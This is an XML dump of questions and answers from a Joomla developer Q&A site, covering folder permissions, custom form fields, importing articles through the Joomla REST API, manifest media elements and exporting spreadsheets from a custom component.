  <row Id="33467" PostTypeId="1" CreationDate="2023-11-11T13:14:02.487" Score="0" ViewCount="112" Body="&lt;p&gt;On Joomla 5 (same problem on Joomla 4) I am getting the warning &amp;quot;The PHP temporary folder is not writeable&amp;quot;. In more detail:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;This folder is not writeable by the Joomla! instance, which may cause issues when trying to upload extensions to Joomla. If you are having issues uploading extensions, check the '/tmp-upload' and set it to be writeable and see if this fixes the issue.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The folder permissions are 777, as shown in the screenshot below of the folder permissions as shown in Midnight Commander (connecting to the server via SSH).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gy0la.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gy0la.jpg&quot; alt=&quot;tmp folder permissions&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've read quite a few articles and posts on this point, and as far as I can tell I have done everything that needs to be done.&lt;/p&gt;&#xA;&lt;p&gt;Either I am missing something or there is a bug in Joomla. I'm inclined to think that the former is more likely in this case, so I would be grateful for any help that can be offered.&lt;/p&gt;&#xA;&lt;p&gt;I'm running Joomla under Ubuntu 22.04 with the CyberPanel (v. 2.4) control panel on my own local server. (The problems seem to be the same on other machines, though.)&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2023-11-11T13:14:02.487" Title="The PHP temporary folder is not writeable" Tags="|php|permissions|linux|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33468" PostTypeId="1" CreationDate="2023-11-11T18:21:38.840" Score="0" ViewCount="32" Body="&lt;p&gt;When using a custom select list field i can disable single options in it by setting an attribute.&lt;br /&gt;&#xA;Here a simple version:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;somefield&amp;quot; type=&amp;quot;mylist&amp;quot; label=&amp;quot;COM_YOLO_MYFIELD&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;mylist.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;// $elements = get data from DB&#xA;&#xA;foreach ($elements as $el) {&#xA;    $attribs = [];&#xA;    if ($el['mute'] == 1)&#xA;        $attribs = array('option.attr' =&amp;gt; 'optionattr', 'attr' =&amp;gt; array('disabled' =&amp;gt; 'disabled', 'class' =&amp;gt; 'muted'));&#xA;    }&#xA;    $options[] = HTMLHelper::_('select.option', $el['id'], $el['title'], $attribs);&#xA;}&#xA;&#xA;return array_merge(parent::getOptions(), $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That works. I get a select list with custom disabled options.&lt;/p&gt;&#xA;&lt;p&gt;When adding &lt;code&gt;layout=&amp;quot;joomla.form.field.list-fancy-select&amp;quot;&lt;/code&gt; to the field xml the disabled options no longer work.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to disable single options in the list-fancy-select layout?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-11-11T18:21:38.840" Title="Disable single option in list-fancy-select" Tags="|custom-field|form|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33469" PostTypeId="2" ParentId="33327" CreationDate="2023-11-12T20:38:42.167" Score="1" Body="&lt;p&gt;I'm exactly in the same situtation. Mobile app users need to log in with their Joomla credentials. Seems like an obvious feature for a REST api. We used the cAPI plugin which offered this for Joomla 3.x but not Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;Could you find a solution?&lt;/p&gt;&#xA;" OwnerUserId="17455" LastActivityDate="2023-11-12T20:38:42.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33470" PostTypeId="1" CreationDate="2023-11-12T23:17:35.703" Score="0" ViewCount="24" Body="&lt;p&gt;I have adapted working code from Joomla 3 and the CLI to Joomla 4/5 and the API. The core functionality using the API system is working, but I am struggling to find a replacement for checking for duplicate aliases.&lt;/p&gt;&#xA;&lt;p&gt;When a duplicate article alias is encountered, Joomla/Admin Tools send the following message via email: &lt;code&gt;Message: Save failed with the following error: Another Article in this category has the same alias.&lt;/code&gt; This message is issued numerous times depending on how many news items are being imported. The max importation is set to &lt;code&gt;10&lt;/code&gt; for individual requests. Requests are made once a day in the early morning via a cron job.&lt;/p&gt;&#xA;&lt;p&gt;The external JSON API provides is a news source that has unique titles for individual items, but no aliases beyond the article's href element. I have included a sample snippet of a news item below for reference.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;id&amp;quot;: &amp;quot;18d02c72-7206-4a6a-bec1-0f608524c422__4086381&amp;quot;,&#xA;  &amp;quot;links&amp;quot;: {&#xA;    &amp;quot;article&amp;quot;: {&#xA;      &amp;quot;href&amp;quot;: &amp;quot;/publishing/news/articles/18d02c72-7206-4a6a-bec1-0f608524c422__4086381&amp;quot;&#xA;    }&#xA;  },&#xA;  &amp;quot;title&amp;quot;: &amp;quot;DTN Closing Livestock Comments&amp;quot;,&#xA;  &amp;quot;subTitle&amp;quot;: &amp;quot;Markets Stabilized Friday Following Bearish Weak&amp;quot;,&#xA;  &amp;quot;storySummary&amp;quot;: &amp;quot;&amp;lt;span class=\&amp;quot;news_summary_content\&amp;quot;&amp;gt;Limited buyer support trickled into livestock trade Friday, attempting to bring some sense of stability to a tumbling cattle market. Despite moderate support midday, live cattle contracts closed mixed with continued concerns of longer-term support. It is unlikely that the weekend will bring much clarity to livestock markets.&amp;lt;/span&amp;gt;&amp;quot;,&#xA;  &amp;quot;publishDate&amp;quot;: &amp;quot;2023-11-10T21:56:00Z&amp;quot;,&#xA;  &amp;quot;product&amp;quot;: null,&#xA;  &amp;quot;author&amp;quot;: {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;Rick Kment&amp;quot;&#xA;  },&#xA;  &amp;quot;thumbNailImage&amp;quot;: {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;2020closinglivestock.jpg&amp;quot;,&#xA;    &amp;quot;imageUrl&amp;quot;: &amp;quot;https://www.dtnpf.com/mydtn-public-core-portlet/servlet/GetStoredImage?category=CMS&amp;amp;symbolicName=2020closinglivestock.jpg&amp;quot;,&#xA;    &amp;quot;caption&amp;quot;: &amp;quot;(DTN file photo)&amp;quot;&#xA;  },&#xA;  &amp;quot;cmsCategoryId&amp;quot;: null,&#xA;  &amp;quot;dtnpfUrl&amp;quot;: &amp;quot;https://www.dtnpf.com/agriculture/web/ag/news/article/2023/11/10/markets-stabilized-friday-following&amp;quot;,&#xA;  &amp;quot;language&amp;quot;: &amp;quot;en&amp;quot;,&#xA;  &amp;quot;topic&amp;quot;: &amp;quot;DTN/Ag/Livestock&amp;quot;,&#xA;  &amp;quot;content&amp;quot;: &amp;quot;&amp;lt;span class=\&amp;quot;news_summary_content\&amp;quot;&amp;gt;Limited buyer support trickled into livestock trade Friday, attempting to bring some sense of stability to a tumbling cattle market. Despite moderate support midday, live cattle contracts closed mixed with continued concerns of longer-term support. It is unlikely that the weekend will bring much clarity to livestock markets.&amp;lt;/span&amp;gt;&amp;quot;,&#xA;  &amp;quot;status&amp;quot;: null,&#xA;  &amp;quot;audioLinks&amp;quot;: null,&#xA;  &amp;quot;mediaLinks&amp;quot;: null&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the code that was previously used in the CLI for handling duplicate aliases. As this code utilizes the Joomla database, I do not think it could be used for the API.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private function removeDuplicateAliases(array $articles): array {&#xA;  $db = Factory::getDbo();&#xA;  $query = $db-&amp;gt;getQuery(true);&#xA;  $query&#xA;    -&amp;gt;select('a.alias')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__content', 'a'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('a.catid') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote('13'));&#xA;  $db-&amp;gt;setQuery($query);&#xA;  $aliasLookup = array_flip($db-&amp;gt;loadColumn());&#xA;&#xA;  foreach ($articles as $i =&amp;gt; $article) {&#xA;    if (isset($aliasLookup[OutputFilter::stringURLSafe($article-&amp;gt;title)])) {&#xA;      unset($articles[$i]);&#xA;    }&#xA;  }&#xA;  return $articles;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The function was run within the insertArticles function &lt;code&gt;foreach ($this-&amp;gt;removeDuplicateAliases($articles) as $article)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here is the working API-based code for the retrieval and processing of the external JSON API:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;declare(strict_types=1);&#xA;ini_set('error_reporting', E_ALL &amp;amp; ~E_DEPRECATED);&#xA;&#xA;$dataSourceUrl = Redacted;&#xA;&#xA;$processArticles = function ($articles) {&#xA;  foreach ($articles as $article) {&#xA;    $data = [&#xA;      'id' =&amp;gt; 0,&#xA;      'catid' =&amp;gt; 13,&#xA;      'title' =&amp;gt; ucwords(strtolower($article-&amp;gt;title)),&#xA;      'articletext' =&amp;gt; $article-&amp;gt;content,&#xA;      'introtext' =&amp;gt; $article-&amp;gt;storySummary,&#xA;      'fulltext' =&amp;gt; $article-&amp;gt;content,&#xA;      'note' =&amp;gt; 'DTN supplied topics: ' . str_replace('/', ', ', $article-&amp;gt;topic),&#xA;      'state' =&amp;gt; 1,&#xA;      'access' =&amp;gt; 1,&#xA;      'created_by' =&amp;gt; 386,&#xA;      'created_by_alias' =&amp;gt; 'DTN News',&#xA;      'language' =&amp;gt; '*',&#xA;    ];&#xA;    $articleData = json_encode($data);&#xA;&#xA;    $apiUrl = Redacted;&#xA;    $token = Redacted;&#xA;&#xA;    // Request timeout&#xA;    $timeOut = 10;&#xA;&#xA;    $headers = [&#xA;      'Accept: application/vnd.api+json',&#xA;      'Content-Type: application/json',&#xA;      'Content-length: ' . mb_strlen($articleData),&#xA;      sprintf('X-Joomla-Token: %s', trim($token)),&#xA;    ];&#xA;&#xA;    $curl = curl_init();&#xA;&#xA;    curl_setopt_array($curl, [&#xA;        CURLOPT_URL =&amp;gt; sprintf('%s/%s', $apiUrl, 'content/articles'),&#xA;        CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;        CURLOPT_ENCODING =&amp;gt; 'utf-8',&#xA;        CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;        CURLOPT_TIMEOUT =&amp;gt; $timeOut,&#xA;        CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;        CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_2TLS,&#xA;        CURLOPT_CUSTOMREQUEST =&amp;gt; 'POST',&#xA;        CURLOPT_POSTFIELDS =&amp;gt; $articleData,&#xA;        CURLOPT_HTTPHEADER =&amp;gt; $headers,&#xA;      ]&#xA;    );&#xA;    $response = curl_exec($curl);&#xA;    if ($response === false) {&#xA;      echo 'CURL error: ' . curl_error($curl);&#xA;    } else {&#xA;      curl_close($curl);&#xA;    }&#xA;  }&#xA;};&#xA;&#xA;$generator = function (string $dataSourceResponse): Generator {&#xA;  if (empty($dataSourceResponse)) {&#xA;    yield new RuntimeException( 'DTN API response must not be empty', 422 );&#xA;  }&#xA;&#xA;  if ($data === false) {&#xA;    yield new RuntimeException( 'Could not read response', 500 );&#xA;  }&#xA;&#xA;  try {&#xA;  } finally {&#xA;    echo 'Done processing data' . PHP_EOL;&#xA;  }&#xA;};&#xA;&#xA;$process = function (string $dataSourceUrl, string $dataString) {&#xA;  $curlOptions = [&#xA;    CURLOPT_URL =&amp;gt; $dataSourceUrl,&#xA;    CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;    CURLOPT_ENCODING =&amp;gt; '',&#xA;    CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;    CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;    CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;    CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;    CURLOPT_CUSTOMREQUEST =&amp;gt; 'GET',&#xA;    CURLOPT_POSTFIELDS =&amp;gt; $dataString,&#xA;  ];&#xA;  $transport = curl_init();&#xA;  curl_setopt_array($transport, $curlOptions);&#xA;  $data = curl_exec($transport);&#xA;&#xA;  if (empty($data)) {&#xA;    throw new RuntimeException( 'Empty output', 422 );&#xA;  }&#xA;&#xA;  return json_decode($data);&#xA;};&#xA;&#xA;$dataSourceDataString = '';&#xA;&#xA;try {&#xA;  $dataSourceResponse = $process($dataSourceUrl, $dataSourceDataString);&#xA;  $displayData        = $processArticles($dataSourceResponse);&#xA;} finally {&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above still needs to be refined and may include some code that could be redundant and could be removed.&lt;/p&gt;&#xA;&lt;p&gt;I have been using this &lt;a href=&quot;https://github.com/alexandreelise/j4x-api-examples/blob/master/using-raw-php/turn-your-top-5-favorite-movies-into-joomla-articles-omdb-api.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 4 API example as reference&lt;/a&gt; for completing the migration from the J3 CLI to the J4/5 API system.&lt;/p&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2023-11-12T23:17:35.703" Title="How to handle duplicate items coming from an external JSON API and being imported as article content" Tags="|php|joomla-4.x|joomla-api|json|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33471" PostTypeId="1" CreationDate="2023-11-13T02:58:17.007" Score="0" ViewCount="29" Body="&lt;p&gt;I have a component which also contains a module as part of the component.  In the component manifest I have, within the media element, a file joomla.asset.json which contains my preset styles etc.  In my module manifest I have a media element containing folders for css and js files which has the destination of mod_mymodule but rather than duplicate the styles in the module I wanted to utilise the preset from the component.  So within the module manifest I have 2 media elements, one for the standard destination of mod_mymodule and a second for destination of com_mycomponent pointing to joomla.asset.json of the component.&#xA;It appears to work satisfactorily, however, is this a wise thing to do?  Any and all guidance appreciated.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media destination=&amp;quot;mod_mymodule&amp;quot; folder=&amp;quot;media&amp;quot;&amp;gt;&#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&amp;lt;media destination=&amp;quot;com_mycomponent&amp;quot; folder=&amp;quot;media&amp;quot;&amp;gt;&#xA;    &amp;lt;file&amp;gt;joomla.asset.json&amp;lt;/file&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2023-11-13T02:58:17.007" Title="Multiple media elements in manifest" Tags="|manifest|joomla-5.x|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="33472" PostTypeId="2" ParentId="31912" CreationDate="2023-11-13T18:11:17.810" Score="0" Body="&lt;p&gt;If anyone is interested in a more recent method (Joomla 4.3 and upwards):&lt;/p&gt;&#xA;&lt;p&gt;When you edit the list type custom field (or SQL custom field type), go to the tab &amp;quot;Options&amp;quot; and at the &amp;quot;Form Options&amp;quot;, the item &amp;quot;Layout&amp;quot; has an option named &amp;quot;Enhanced select&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;This will add a modern search (and match).&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2023-11-13T18:11:17.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33473" PostTypeId="1" CreationDate="2023-11-13T23:08:59.933" Score="1" ViewCount="66" Body="&lt;p&gt;Problem with adding ?format=html has been going on since joomla 4. The problem occurs when there are language connections between materials, but the problem could be solved using this principle:.../plugins/system/languagefilter/languagefilter.php add line 451&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fvbNN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fvbNN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How the problem was solved is described in more detail here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/39181#issuecomment-1336349300&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/39181#issuecomment-1336349300&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But after switching to joomla 5, this method no longer works. Please tell me how to fix this problem.&lt;/p&gt;&#xA;" OwnerUserId="17460" LastActivityDate="2023-11-13T23:08:59.933" Title="?format=html is appended to the URL on a multilingual website" Tags="|multilingual|format|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33474" PostTypeId="1" CreationDate="2023-11-14T10:08:40.767" Score="1" ViewCount="189" Body="&lt;p&gt;In my custom Joomla 5 component I've added PHPSpreadsheet via composer. In the Export View (Backend) i have a small adminform for setting up the export and a submit button that toggles the download by simply call the Method in the controller by task:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$route = Route::_('index.php?option=com_component&amp;amp;view=export');&#xA;...&#xA;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $route ?&amp;gt;&amp;quot; method=&amp;quot;post&amp;quot; name=&amp;quot;adminForm&amp;quot; id=&amp;quot;adminForm&amp;quot;&amp;gt;&#xA;...&#xA;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;export.export&amp;quot;&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my Export Model I call it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function export($settings):bool&#xA;    {&#xA;        // Required gets&#xA;        $this-&amp;gt;countries = $this-&amp;gt;getCountries();&#xA;        $this-&amp;gt;app = Factory::getApplication();&#xA;&#xA;        $fileName = 'export.xlsx';&#xA;        if(!empty($settings['filename'])){&#xA;            $fileName = $settings['filename'] . '.xlsx';&#xA;        }&#xA;&#xA;        switch ($settings['export_type']) {&#xA;            case 'startlist':&#xA;            default:&#xA;                $arrayData = $this-&amp;gt;exportStartList($settings);&#xA;                break;&#xA;        }&#xA;&#xA;        if (empty($arrayData)) {&#xA;            $app = Factory::getApplication();&#xA;            $app-&amp;gt;enqueueMessage(Text::_('COM_COMPONENT_EXPORT_NO_DATA'), 'warning');&#xA;            return false;&#xA;        }&#xA;&#xA;        $spreadsheet = new Spreadsheet();&#xA;        $spreadsheet-&amp;gt;getActiveSheet()-&amp;gt;fromArray($arrayData);&#xA;        $writer = new Xlsx($spreadsheet);&#xA;        header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');&#xA;        header('Content-Disposition: attachment; filename=&amp;quot;' . urlencode($fileName) . '&amp;quot;');&#xA;&#xA;        $writer-&amp;gt;save('php://output');&#xA;        Factory::getApplication()-&amp;gt;close();&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My Problem is quite easy to explain:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To get the xlsx as download i have to call &amp;quot;exit&amp;quot; / &amp;quot;jexit&amp;quot; or &amp;quot;Factory::getApplication()-&amp;gt;close();&amp;quot; &amp;gt; the download does work. But all enqueued messages got lost because of the changed header / the close itself (which makes sense for the CMS - i'ts closed so why rendering any messages now).&#xA;The thing is: I've added some warnings if the dataset is not complete - it's not 100% necessary but now i'm at a point where i just WANT it to work :-).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Can anyone give me a hint on how to get both: initiate the download and render my enqueued messages on screen?&lt;/p&gt;&#xA;&lt;p&gt;My Controller is minimalistic:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ExportController extends FormController&#xA;{&#xA;    // Optional: Declare  view name&#xA;    protected $default_view = 'export';&#xA;&#xA;    public function export()&#xA;    {&#xA;        error_log('Exporting in CONTROLLER');&#xA;        // Do some stuff here&#xA;        $data = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', [], 'array');&#xA;        $model = $this-&amp;gt;getModel();&#xA;&#xA;        if($model-&amp;gt;export($data)) $this-&amp;gt;setMessage(Text::_('COM_COMPONENT_EXPORT_SUCCESS'));&#xA;&#xA;        $this-&amp;gt;setRedirect('index.php?option=com_component&amp;amp;view=export');&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;if the $arrayData is empty the message got displayed.&#xA;I've tried it already with and without redirect in controller - no difference.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2023-11-14T10:14:07.593" LastActivityDate="2023-11-15T06:24:37.177" Title="Export as Excel with PHPSpreadsheet as download how to keep Joomla Messages?" Tags="|php|custom-component|header|joomla-5.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33475" PostTypeId="1" CreationDate="2023-11-15T05:57:32.347" Score="0" ViewCount="19" Body="&lt;p&gt;I'm trying to install . Once the install button is clicked, I keep waiting and nothing happens.&lt;/p&gt;&#xA;&lt;p&gt;Upon checking the DevTools Console, there are errors stating:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Uncaught Reference Error: jedpps-jsoncallback is not defined&lt;/li&gt;&#xA;&lt;li&gt;Uncaught TypeError: Cannot read properties of undefined (reading 'value')&lt;/li&gt;&#xA;&lt;li&gt;Uncaught TypeError: Cannot set properties of undefined (setting'value')&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Here's the code that makes an error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.submitbutton5 = function(a) {&#xA;&#xA;    var b = document.getElementById(&amp;quot;adminForm&amp;quot;);&#xA;&#xA;    b.install_url.value != &amp;quot;&amp;quot; &amp;amp;&amp;amp; b.install_url.value != &amp;quot;http://&amp;quot; &#xA;        ? Joomla.submitbutton4()&#xA;        : b.install_url.value == &amp;quot;&amp;quot;&#xA;        ? alert(apps_btntxt)&#xA;        : (&#xA;           apps_is_hathor || jQuery(&amp;quot;#appsloading&amp;quot;).css(&amp;quot;display&amp;quot;, &amp;quot;block&amp;quot;),&#xA;           b.installtype.value = &amp;quot;web&amp;quot;,&#xA;           b.submit()&#xA;          )&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is my first time encountering this error.&lt;/p&gt;&#xA;" OwnerUserId="16991" LastActivityDate="2023-11-15T05:57:32.347" Title="Can't install Antispam plugin by CleanTalk in Joomla3.8" Tags="|php|joomla3.8|captcha|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33476" PostTypeId="2" ParentId="33474" CreationDate="2023-11-15T06:24:37.177" Score="1" Body="&lt;p&gt;You could change the logic of your processing in the Model so that the spreadsheet is only presented if there is data retrieved to be displayed, in which case Closing the Application would make sense.&lt;/p&gt;&#xA;&lt;p&gt;If messages are generated and stored in the Application then issuing a &lt;code&gt;close()&lt;/code&gt; destroys the Application object and thus there is nothing left to display. The Application object has to remain available for you to receive the messages.&lt;/p&gt;&#xA;&lt;p&gt;If you are trying to keep aligned with the MVC approach then I would create a View for Export(you appear to already have this) and move these lines from your Controller into the View to have your View get your data.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel();&#xA;if($model-&amp;gt;export($data)) $this-&amp;gt;setMessage(Text::_('COM_COMPONENT_EXPORT_SUCCESS'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You will need to rethink how to get the Input from the previous page/form into the Model, maybe using the populateState() approach to store the $data with the Controller so that the values are available to the Model.&lt;/p&gt;&#xA;&lt;p&gt;These lines in your Model are more relevant to the presentation of the Data once the data has been retrieved by the Model so to my mind they should be in the View class and or parts of in the View template.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$spreadsheet = new Spreadsheet();&#xA;$spreadsheet-&amp;gt;getActiveSheet()-&amp;gt;fromArray($arrayData);&#xA;$writer = new Xlsx($spreadsheet);&#xA;   header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');&#xA;   header('Content-Disposition: attachment; filename=&amp;quot;' . urlencode($fileName) . '&amp;quot;'); &#xA;$writer-&amp;gt;save('php://output');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the processing would go more like the Controller gets the Input and redirects to the View, the View calls the Model to retrieve the data and then constructs the presentation of the spreadsheet if data is retrieved and if no data is returned then the export view will display the error/warning message.&lt;/p&gt;&#xA;&lt;p&gt;Someone else may have a better way to handle the presentation of the Spreadsheet to suggest but moving the call to the Model from the Controller to the View and the presentation aspects from the Model to the View then you might find it easier to make adjustments and come up with alternative ways to provide the spreadsheet.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-11-15T06:24:37.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33477" PostTypeId="1" AcceptedAnswerId="33478" CreationDate="2023-11-15T07:37:16.590" Score="0" ViewCount="66" Body="&lt;p&gt;When creating a backend list view there are options to sort items by clicking on the column title&#xA;&lt;em&gt;Default Ordering Column&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;th scope=&amp;quot;col&amp;quot; style=&amp;quot;..&amp;quot; class=&amp;quot;text-center d-none d-md-table-cell&amp;quot;&amp;gt;&#xA;                                &amp;lt;?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When adding searchtools.sort to one of my columns like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;th scope=&amp;quot;col&amp;quot; style=&amp;quot;width: 1%&amp;quot; class=&amp;quot;d-none d-md-table-cell text-center&amp;quot;&amp;gt;&#xA;                                &amp;lt;?php echo HTMLHelper::_('searchtools.sort', 'COM_COMPONENT_TABLE_TABLEHEAD_SHORTCODE_TITLE', 'a.shortcode', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;aswell as the respective content in the filters_view.xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;form&amp;gt;&#xA;...&#xA;&amp;lt;fields name=&amp;quot;list&amp;quot;&amp;gt;&#xA;&amp;lt;field name=&amp;quot;fullordering&amp;quot; ...&amp;gt;&#xA;...&#xA;&amp;lt;option value=&amp;quot;a.shortcode ASC&amp;quot;&amp;gt;COM_COMPONENT_FILTER_SHORTCODE_ASC&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&amp;quot;a.shortcode DESC&amp;quot;&amp;gt;COM_COMPONENT_FILTER_SHORTCODE_DESC&amp;lt;/option&amp;gt;&#xA;...&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The list can be sorted but i have no visual indicator on the clicked column header. It just &amp;quot;stays&amp;quot; like its not sorted at all.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nGZaw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nGZaw.png&quot; alt=&quot;ShortCode has been clicked&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Even the examples I've found in the web has the same &amp;quot;issue&amp;quot; on the visible side.&#xA;When using the title column in the same view it works for this column but not for &amp;quot;non-default&amp;quot; columns.&lt;/p&gt;&#xA;&lt;p&gt;I've already seen that there is a method in the HTMLView called &amp;quot;getSortFields&amp;quot; but even when adding there my column in the array it doesn't change anything:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function getSortFields(): array&#xA;    {&#xA;        return [&#xA;            'a.published'    =&amp;gt; Text::_('JSTATUS'),&#xA;            'a.title'         =&amp;gt; Text::_('JGLOBAL_TITLE'),&#xA;            'a.id'           =&amp;gt; Text::_('JGRID_HEADING_ID'),&#xA;            'a.group_id'    =&amp;gt; Text::_('COM_COMPONENT_TABLE_TABLEHEAD_GROUPID_TITLE'),&#xA;        ];&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What I am missing here?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-11-15T10:57:31.213" Title="Visual Hint on ordering by custom column in backend" Tags="|joomla-4.x|sorting|joomla-5.x|listview|backend|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
